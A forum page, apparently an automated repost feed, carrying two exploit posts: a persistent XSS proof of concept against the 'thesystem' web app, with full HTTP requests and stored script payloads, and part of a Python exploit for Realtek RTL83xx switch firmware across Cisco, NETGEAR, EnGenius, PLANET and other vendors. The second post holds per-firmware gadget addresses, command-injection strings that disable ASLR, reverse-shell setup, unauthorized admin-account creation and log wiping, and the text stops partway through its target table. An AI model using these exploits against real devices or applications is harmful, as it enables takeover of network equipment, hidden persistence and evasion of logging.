跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. # Exploit Title: thesystem Persistent XSS # Author: Anıl Baran Yelken # Discovery Date: 2019-09-28 # Vendor Homepage: https://github.com/kostasmitroglou/thesystem # Software Link: https://github.com/kostasmitroglou/thesystem # Tested Version: 1.0 # Tested on OS: Windows 10 # CVE: N/A # Type: Webapps # Description: # Persistent XSS after login bypass(login_required didn't used) First of all, I send a request add_server POST /add_server/ HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3902153292 Content-Length: 1205 Connection: close Referer: http://127.0.0.1:8000/add_server/ Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719 Upgrade-Insecure-Requests: 1 -----------------------------3902153292 Content-Disposition: form-data; name="csrfmiddlewaretoken" S5HLlkGrTnGH2FHIP4ry58Mw8Rw9KiPF3j6wIQ5tQvzMLmZTLAayAVs4Htg6OCRn -----------------------------3902153292 Content-Disposition: form-data; name="operating_system" <script>alert("kale1")</script> -----------------------------3902153292 Content-Disposition: form-data; name="ip_address" 127.0.0.1 -----------------------------3902153292 Content-Disposition: form-data; name="system_port" 22 -----------------------------3902153292 Content-Disposition: form-data; name="system_owner" <script>alert("kale2")</script> -----------------------------3902153292 Content-Disposition: form-data; name="system_username" <script>alert("kale3")</script> -----------------------------3902153292 Content-Disposition: form-data; name="system_password" <script>alert("kale4")</script> -----------------------------3902153292 Content-Disposition: form-data; name="system_description" <script>alert("kale5")</script> -----------------------------3902153292 Content-Disposition: form-data; name="server_name" <script>alert("kale6")</script> -----------------------------3902153292-- After I send a request show_server_data GET /show_server_data/ HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://127.0.0.1:8000/data/ Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977 Upgrade-Insecure-Requests: 1 And I showed persistent XSS: HTTP/1.1 200 OK Date: Sat, 28 Sep 2019 09:51:04 GMT Server: WSGIServer/0.2 CPython/3.5.3 Content-Length: 437 Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN (23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')(25, '<script>alert("kale1")</script>', '127.0.0.1', '22', '<script>alert("kale2")</script>', '<script>alert("kale3")</script>', '<script>alert("kale4")</script>', '<script>alert("kale5")</script>', '<script>alert("kale6")</script>', '2019-09-28')
  2. #!/usr/bin/python2.7 # """ [Subject] Realtek Managed Switch Controller (RTL83xx) PoC (2019 bashis) https://www.realtek.com/en/products/communications-network-ics/category/managed-switch-controller [Brief description] 1. Boa/Hydra suffer of exploitable stack overflow with a 'one byte read-write loop' w/o boundary check. (all FW version and vendors affected) Note: The vulnerability are _not_ from Boa nor Hydra, coming from Realtek additional coding 2. Reuse of code between vendors gives almost indentical exploitation of found vulnerabilities 3. Two strcpy() vulnerable fixed buffers next to each others in same function make it easy for jumping in Big Endian [Goals for this PoC] 1. One Python PoC for all vendors Using dictionaries to have one 'template' for each vendor and another dictionary with unique details for each target, to be merged on the fly. The python code will read and use details from dictionary when verifying/exploiting 2. Uniquely identify remote target ETag - Static and excellent tool for determine remote target, due to non-changing 'last modified' in same revision of Firmware ETag: xxxxx-yyyyy xxxxx = file size (up to 5 digits) yyyyy = last modified (up to 5 digits) 3. Reverse shell MIPS Big Endian shellcode is the only option, as there are no 'netcat/telnet/stunnel.. etc' availible 4. add/delete credentials for GUI/CLI Quite many of the firmware's has the 'option' to add valid credentials by unauthorized updating of 'running-config' For those who has added protection, we can add/delete credentials with an bit interesting jumping sequence [Technical brief] 1. Stack - Read/Write/Executable (Using CMD injection in the PoC to turn off ASLR) 2. Heap - Read/Write/Executable (No need to turn off, ASLR not turned on for heap) 3. fork - Boa/Hydra using forking shellcode, as I want try restart Boa/Hydra to avoid DoS after successful reverse shell Two vulnerable buffers with fixed size in same call, we overwrite $RA with four bytes, and overwrite first byte in $RA with second buffers NULL termination, this allows us to jump within the binary itself, and passing arguments for the function we jumping to by tailing these with the original request [Basically] First buffer: [aaaaaaaa][0x58xxxxxx] ('a' and 0x58 will be overwritten by second buffer) Second buffer: [bbbbb][bbbbbbbb][0x00xxxxxx] (NULL termination will overwrite 0x58) [Known targets] All below is fully exploitable, with following exception: [*] ETag: 639-98866 [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45] [*] ETag: 639-73124 [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37] Not because they are not vulnerable, its because 1) their heap addresses lays at the '0x478000-0x47a000' range, and 2) they using obfuscation 'encode' for the password (99 bytes max), we can never reach the 'two buffers' jump method. [They are still fully exploitable with the Boa/Hydra vulnerability] Note: In this PoC I have only implemented few affected versions, in reality there is many more models and FW version affected. $ ./Realtek-RTL83xx-PoC.py --etag help [*] Realtek Managed Switch Controller RTL83xx PoC (2019 bashis) [*] RHOST: 192.168.57.20 [*] RPORT: 80 [*] LHOST: 192.168.57.1 [*] LPORT: 1337 [+] Target: List of known targets [*] ETag: 225-51973 [Cisco Systems, Inc. Sx220 v1.1.3.1] [*] ETag: 225-60080 [Cisco Systems, Inc. Sx220 v1.1.4.1] [*] ETag: 752-76347 [ALLNET GmbH Computersysteme ALL-SG8208M v2.2.1] [*] ETag: 225-21785 [Pakedgedevice & Software Inc SX-8P v1.04] [*] ETag: 222-71560 [Zyxel Communications Corp. GS1900-24 v2.40_AAHL.1_20180705] [*] ETag: 14044-509 [EnGenius Technologies, Inc. EGS2110P v1.05.20_150810-1754] [*] ETag: 13984-12788 [Open Mesh, Inc. OMS24 v01.03.24_180823-1626] [*] ETag: 218-22429 [PLANET Technology Corp. GS-4210-8P2S v1.0b171116] [*] ETag: 218-7473 [PLANET Technology Corp. GS-4210-24T2S v2.0b160727] [*] ETag: 752-95168 [DrayTek Corp. VigorSwitch P1100 v2.1.4] [*] ETag: 225-96283 [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.6] [*] ETag: 225-63242 [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.5] [*] ETag: 224-5061 [CERIO Corp. CS-2424G-24P v1.00.29] [*] ETag: 222-50100 [ALLNET GmbH Computersysteme ALL-SG8310PM v3.1.1-R3-B1] [*] ETag: 222-81176 [Shenzhen TG-NET Botone Technology Co,. Ltd. P3026M-24POE (V3) v3.1.1-R1] [*] ETag: 8028-89928 [Araknis Networks AN-310-SW-16-POE v1.2.00_171225-1618] [*] ETag: 222-64895 [Xhome DownLoop-G24M v3.0.0.43126] [*] ETag: 222-40570 [Realtek RTL8380-24GE-4GEC v3.0.0.43126] [*] ETag: 222-45866 [Abaniact AML2-PS16-17GP L2 v116B00033] [*] ETag: 14044-44104 [EnGenius Technologies, Inc. EWS1200-28TFP v1.07.22_c1.9.21_181018-0228] [*] ETag: 14044-32589 [EnGenius Technologies, Inc. EWS1200-28TFP v1.06.21_c1.8.77_180906-0716] [*] ETag: 609-31457 [NETGEAR Inc. GS750E ProSAFE Plus Switch v1.0.0.22] [*] ETag: 639-98866 [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45] [*] ETag: 639-73124 [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37] [*] All done... [Other vendors] These names have been found within some Firmware images, but not implemented as I have not found any Firmware images. (However, I suspect they use exact same Firmware due to the traces are 'logo[1-10].jpg/login[1-10].jpg') [*] 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology, Wanbroad, Plexonics, Mach Power [Known bugs] 1. Non-JSON: '/mntlog/flash.log' and '/var/log/flash.log' not always removed when using 'stack_cgi_log()' (Must change value for 'flash.log' that needs to be 0x02, 'flash.log' has value 0x00) [Responsible Disclosure] Working with VDOO since early February 2019 to disclosure found vulnerabilities to vendors https://www.vdoo.com/blog/disclosing-significant-vulnerabilities-network-switches [Technical details] Please read the code """ # Have a nice day # /bashis # import string import sys import socket import argparse import urllib, urllib2, httplib import base64 import ssl import hashlib import re import struct import time import thread import json import inspect import copy import hashlib from Crypto.Cipher import AES from Crypto.Cipher import PKCS1_v1_5 from Crypto.PublicKey import RSA from Crypto import Random from random import randint from pwn import * # pip install pwn global debug debug = False global force force = False def DEBUG(direction, text): if debug: # Print send/recv data and current line number print "[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno) print "\n{}\n".format(text) print "[ END {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno) return class HTTPconnect: def __init__(self, host, proto, verbose, creds, Raw): self.host = host self.proto = proto self.verbose = verbose self.credentials = creds self.Raw = Raw def Send(self, uri, query_headers, query_data,ID,encode_query): self.uri = uri self.query_headers = query_headers self.query_data = query_data self.ID = ID self.encode_query = encode_query # Connect-timeout in seconds #timeout = 5 #socket.setdefaulttimeout(timeout) url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: log.info("[Verbose] Sending: {}".format(url)) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): #log.info("Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: log.info("[Verbose] User: {}, Password: {}".format(Basic_Auth[0],Basic_Auth[1])) try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr) opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: log.info("Basic Auth Error: {}".format(e)) sys.exit(1) if self.query_data: #request = urllib2.Request(url, data=json.dumps(self.query_data), headers=self.query_headers) if self.query_data and self.encode_query: request = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers) else: request = urllib2.Request(url, data=self.query_data, headers=self.query_headers) if self.ID: request.add_header('Cookie', self.ID) else: request = urllib2.Request(url, None, headers=self.query_headers) if self.ID: request.add_header('Cookie', self.ID) response = urllib2.urlopen(request) #if response: # print "[<] {} OK".format(response.code) if self.Raw: return response else: html = response.read() return html # # Validate correctness of HOST, IP and PORT # class Validate: def __init__(self,verbose): self.verbose = verbose # Check if IP is valid def CheckIP(self,IP): self.IP = IP ip = self.IP.split('.') if len(ip) != 4: return False for tmp in ip: if not tmp.isdigit(): return False i = int(tmp) if i < 0 or i > 255: return False return True # Check if PORT is valid def Port(self,PORT): self.PORT = PORT if int(self.PORT) < 1 or int(self.PORT) > 65535: return False else: return True # Check if HOST is valid def Host(self,HOST): self.HOST = HOST try: # Check valid IP socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP # Now we check if it is correct typed IP if self.CheckIP(self.HOST): return self.HOST else: return False except socket.error as e: # Else check valid FQDN name, and use the IP address try: self.HOST = socket.gethostbyname(self.HOST) return self.HOST except socket.error as e: return False class Vendor: def __init__(self, ETag): self.ETag = ETag def random_string(self,length): self.length = length return "a" * self.length #return ''.join(random.choice(string.lowercase) for i in range(self.length)) # # Source: https://gist.github.com/angstwad/bf22d1822c38a92ec0a9 # def dict_merge(self, dct, merge_dct): """ Recursive dict merge. Inspired by :meth:``dict.update()``, instead of updating only top-level keys, dict_merge recurses down into dicts nested to an arbitrary depth, updating keys. The ``merge_dct`` is merged into ``dct``. :param dct: dict onto which the merge is executed :param merge_dct: dct merged into dct :return: None """ for k, v in merge_dct.iteritems(): if (k in dct and isinstance(dct[k], dict) and isinstance(merge_dct[k], collections.Mapping)): self.dict_merge(dct[k], merge_dct[k]) else: dct[k] = merge_dct[k] # # Difference between vendors and Firmware versions. # The update code will search below and update the template on the fly # (you can tweak and add code in the template from here) # # ETag - excellent tool for determine the target # # ETag: xxxxx-yyyyy # xxxxx = file size (up to 5 digits) # yyyyy = last modified (up to 5 digits) # def dict(self): Vendor_ETag = { # # PLANET Technology Corp. # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : No # Del /mntlog/flash.log : No # Add credentials : Yes # Del credentials : Yes # '218-22429': { 'template':'Planet', # Static for the vendor 'version':'1.0b171116', # Version / binary dependent stuff 'model':'GS-4210-8P2S', # Model 'uri':'https://www.planet.com.tw/en/product/GS-4210-8P2S', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E04C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system) # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484029c, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # Ping IPv4 'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1', 'verify_uri':'/tmp/check', 'web_sys_ping_post':0x423B9C, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_ping_post() # traceroute #'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&tr_maxhop=30&count=1', #'verify_uri':'/tmp/check', #'web_sys_ping_post':0x4243FC, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_trace_route_post() 'vulnerable': True, }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_setting_post() 'log_settings_set':0x489368, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_ramClear':0x48AB84, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_fileClear':0x48C240, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntp_set':0x42DA80, # Jump one after 'sw $ra' # Set SNTP Server (Inject CMD) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntpDel_set':0x42DA80, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post() 'sys_timeSettings_set':0x42C868,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'dispatcher.cgi', # /sqfs/home/web/cgi-bin/dispatcher.cgi; main() 'START':0x7ffeee04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 45, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, '218-7473': { 'template':'Planet', # Static for the vendor 'version':'2.0b160727', # Version / binary dependent stuff 'model':'GS-4210-24T2S', # Model 'uri':'https://www.planet.com.tw/en/product/GS-4210-24T2S', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E04C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system) # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484029c, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # Ping IPv4 'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1', 'verify_uri':'/tmp/check', 'web_sys_ping_post':0x424594, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_ping_post() # traceroute #'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&tr_maxhop=30&count=1', #'verify_uri':'/tmp/check', #'web_sys_ping_post':0x424DF4, # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_trace_route_post() 'vulnerable': True, }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_setting_post() 'log_settings_set':0x48AA98, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_ramClear':0x48D9F4, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_fileClear':0x48D9F4, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntp_set':0x42E474, # Jump one after 'sw $ra' # Set SNTP Server (Inject CMD) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntpDel_set':0x42E474, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post() 'sys_timeSettings_set':0x42D25c,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'dispatcher.cgi', # /sqfs/home/web/cgi-bin/dispatcher.cgi; main() 'START':0x7ffeee04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 45, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # Cisco Systems, Inc. # Sx220 Series # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '225-51973': { 'template':'Cisco', # Static for the vendor 'version':'1.1.3.1', # Version / binary dependent stuff 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40F70C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998524, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484683c, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_ping_set() # Ping IPv4 'web_sys_ping_post':0x43535C, # Jump one after 'sw $ra' # (address, binary dependent) 'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1', 'sys_ping_post_check':'', # /sqfs/home/web/cgi/set.cgi; cgi_sys_tracert_set() # traceroute #'web_sys_ping_post':0x43567C, # Jump one after 'sw $ra' # (address, binary dependent) #'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1', #'sys_ping_post_check':'', 'verify_uri':'/tmp/check', 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set() 'log_settings_set':0x436FDC, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set() 'log_ramClear':0x436F34, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set() 'log_fileClear':0x436F88, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set() 'sys_timeSntp_set':0x434FB0, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set() 'sys_timeSntpDel_set':0x4350D8, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set() 'sys_timeSettings_set':0x434140,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x7ffeff04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, '225-60080': { 'template':'Cisco', # Static for the vendor 'version':'1.1.4.1', # Version / binary dependent stuff 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40ffac, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998530, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x24847b6c, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_diag': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_ping_set() # Ping IPv4 'web_sys_ping_post':0x43535C, # Jump one after 'sw $ra' # (address, binary dependent) 'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1', 'sys_ping_post_check':'', # /sqfs/home/web/cgi/set.cgi; cgi_sys_tracert_set() # traceroute #'web_sys_ping_post':0x43567C, # Jump one after 'sw $ra' # (address, binary dependent) #'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1', #'sys_ping_post_check':'', 'verify_uri':'/tmp/check', 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set() 'log_settings_set':0x436FDC, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set() 'log_ramClear':0x436F34, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set() 'log_fileClear':0x436F88, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set() 'sys_timeSntp_set':0x434FB0, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set() 'sys_timeSntpDel_set':0x4350D8, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set() 'sys_timeSettings_set':0x434140,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x7ffeff04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # EnGenius Technologies, Inc. # EGS series # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '14044-509': { 'template':'EnGenius', # Static for the vendor 'version':'1.05.20_150810-1754', # Version / binary dependent stuff 'model':'EGS2110P', # Model 'uri':'https://www.engeniustech.com/engenius-products/8-port-gigabit-smart-switch-egs2110p/', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E12C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x248405a0, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_diag': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_tracertSet() # traceroute 'web_sys_ping_post': 0x42382C, # Jump one after 'sw $ra' # (address, binary dependent) 'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0', 'sys_ping_post_check':'', 'verify_uri':'/conf_tmp/check', 'vulnerable': True, # }, 'stack_cgi_add_account': { # pt: 0 = no password, 1 = cleartext, 2 = encrypted # /sqfs/home/web/cgi/set.cgi; sn_user_mngSet() 'address':0x423E74, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&', # Admin, priv 15 'vulnerable': True, }, 'stack_cgi_del_account': { # /sqfs/home/web/cgi/set.cgi; sn_user_mngSet() 'address':0x423E74, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pt=2&pv=0&op=0', # 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet() 'log_settings_set':0x43DE18, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_ramClear':0x43F934, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_fileClear':0x43F934, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSntp_set':0x424844, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set() 'sys_timeSntpDel_set':0x424844, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set() 'sys_timeSettings_set':0x424844,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'security.cgi', # /sqfs/home/web/cgi-bin/security.cgi; main() 'START':0x100181A0, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x104006A0, # end: You may want to play with this if you dont get it working 'usr_nop': 987, # NOP sled (shellcode will be tailed) 'pwd_nop': 69, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # EnGenius Technologies, Inc. # EWS series # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # 